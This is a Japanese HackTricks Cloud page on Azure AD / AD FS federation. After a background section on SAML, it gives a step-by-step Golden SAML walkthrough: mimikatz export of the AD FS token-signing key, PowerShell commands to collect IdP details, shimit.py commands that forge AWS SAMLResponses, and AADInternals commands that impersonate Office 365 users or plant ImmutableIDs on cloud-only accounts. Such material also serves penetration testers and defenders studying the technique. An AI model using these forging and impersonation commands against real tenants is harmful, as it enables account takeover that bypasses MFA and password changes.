Japanese - Ht Cloud
HackTricks Training Twitter Linkedin Sponsor

Az - Federation

Support HackTricks

基本情報

ドキュメントから:Federationは、信頼を確立したドメインの集合です。信頼のレベルはさまざまですが、通常は認証を含み、ほとんどの場合認可を含みます。典型的なフェデレーションには、リソースの共有アクセスのために信頼を確立した複数の組織が含まれます。

オンプレミス環境をAzure ADとフェデレートし、このフェデレーションを認証と認可に使用できます。このサインイン方法は、すべてのユーザー認証がオンプレミスで行われることを保証します。この方法により、管理者はより厳格なアクセス制御レベルを実装できます。AD FSおよびPingFederateとのフェデレーションが利用可能です。

基本的に、フェデレーションではすべての認証がオンプレミス環境で行われ、ユーザーはすべての信頼された環境でSSOを体験します。したがって、ユーザーはオンプレミスの資格情報を使用してクラウドアプリケーションにアクセスできます。

Security Assertion Markup Language (SAML)は、プロバイダー間で認証および認可の情報を交換するために使用されます。

フェデレーションセットアップには3つの当事者がいます：

  • ユーザーまたはクライアント

  • Identity Provider (IdP)

  • Service Provider (SP)

(画像はhttps://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-appsから)

  1. 最初に、ユーザーがアプリケーション（Service ProviderまたはSP、例えばAWSコンソールやvSphereウェブクライアント）にアクセスします。このステップは特定の実装によってはクライアントを直接IdP（Identity Provider）にリダイレクトすることもあります。

  2. 次に、SPはユーザー認証のために適切なIdP（例：AD FS、Okta）を特定します。SPはSAML（Security Assertion Markup Language）AuthnRequestを作成し、クライアントを選択したIdPにリダイレクトします。

  3. IdPはユーザーを認証します。認証後、IdPはSAMLResponseを作成し、ユーザーを介してSPに送信します。

  4. 最後に、SPはSAMLResponseを評価します。信頼できるIdPから発行されたものであると確認されれば、ユーザーにアクセスが許可されます。これでログインプロセスが完了し、ユーザーはサービスを利用できるようになります。

SAML認証と一般的な攻撃についてもっと知りたい場合は、以下を参照してください：

ピボット

  • AD FSはクレームベースのアイデンティティモデルです。

  • "..クレームは単にユーザーについての声明（例えば、名前、アイデンティティ、グループ）であり、主にインターネット上のどこにでもあるクレームベースのアプリケーションへのアクセスを認可するために使用されます。"

  • ユーザーのクレームはSAMLトークン内に書かれ、IdPによって機密性を提供するために署名されます。

  • ユーザーはImmutableIDによって識別されます。これはグローバルに一意であり、Azure ADに保存されます。

  • ImmutableIDはオンプレミスではms-DS-ConsistencyGuidとしてユーザーに保存されているか、ユーザーのGUIDから派生することができます。

  • 詳細はhttps://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claimsを参照してください。

Golden SAML攻撃：

  • ADFSでは、SAML Responseはトークン署名証明書によって署名されます。

  • 証明書が漏洩すると、Azure ADに同期された任意のユーザーとしてAzure ADに認証することが可能になります！

  • PTAの悪用と同様に、ユーザーのパスワード変更やMFAは影響を与えません。なぜなら、認証応答を偽造しているからです。

  • 証明書はDA権限を持つAD FSサーバーから抽出でき、その後、インターネットに接続された任意のマシンから使用できます。

  • 詳細はhttps://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-appsを参照してください。

Golden SAML

Identity Provider (IdP)がユーザーサインインを認可するためにSAMLResponseを生成するプロセスは非常に重要です。IdPの特定の実装に応じて、応答は署名または暗号化されることがあります。この手順により、**Service Provider (SP)**はSAMLResponseの信頼性を確認し、それが信頼できるIdPによって発行されたものであることを保証します。

golden ticket攻撃と同様に、ユーザーのアイデンティティと権限を認証するキー（golden ticketの場合はKRBTGT、golden SAMLの場合はトークン署名の秘密鍵）を操作して認証オブジェクト（TGTまたはSAMLResponse）を偽造することができます。これにより、任意のユーザーを偽装し、SPへの不正アクセスが可能になります。

Golden SAMLには以下の利点があります：

  • リモートで作成でき、対象のドメインやフェデレーションの一部である必要はありません。

  • 二要素認証 (2FA) が有効でも効果があります。

  • トークン署名の秘密鍵は自動的に更新されません。

  • ユーザーのパスワードを変更しても、既に生成されたSAMLは無効になりません。

AWS + AD FS + Golden SAML

Active Directory Federation Services (AD FS)は、信頼できるビジネスパートナー（フェデレーション）間でアイデンティティ情報の安全な交換を促進するMicrosoftのサービスです。基本的に、ドメインサービスがフェデレーション内の他のサービスプロバイダーとユーザーアイデンティティを共有できるようにします。

AWSが侵害されたドメインを信頼している場合、この脆弱性を利用してAWS環境内の任意の権限を取得する可能性があります。この攻撃には、SAMLオブジェクトを署名するために使用される秘密鍵が必要です。これはgolden ticket攻撃でKRBTGTが必要なことに似ています。AD FSユーザーアカウントへのアクセスがあれば、この秘密鍵を取得することができます。

Golden SAML攻撃を実行するための要件は次のとおりです：

  • トークン署名の秘密鍵

  • IdPの公開証明書

  • IdPの名前

  • ロール名（引き受けるロール）

  • ドメイン\ユーザー名

  • AWSのロールセッション名

  • AmazonアカウントID

太字の項目のみが必須です。他の項目は任意に入力できます。

秘密鍵を取得するには、AD FSユーザーアカウントへのアクセスが必要です。そこから、秘密鍵をmimikatzなどのツールを使用して個人ストアからエクスポートできます。他の必要な情報を収集するには、ADFSユーザーとしてログインしていることを確認し、Microsoft.Adfs.Powershellスナップインを使用します：

# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

すべての情報を使用して、shimit を使用して偽装したいユーザーとして有効な SAMLResponse を忘れることができます**:**

# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

オンプレミス -> クラウド

# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

クラウドのみのユーザーのImmutableIDを作成し、それらを偽装することも可能です

# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose

参考文献

HackTricksをサポートする
PreviousAz - Cloud Kerberos TrustNextAz - PHS - Password Hash Sync

Last updated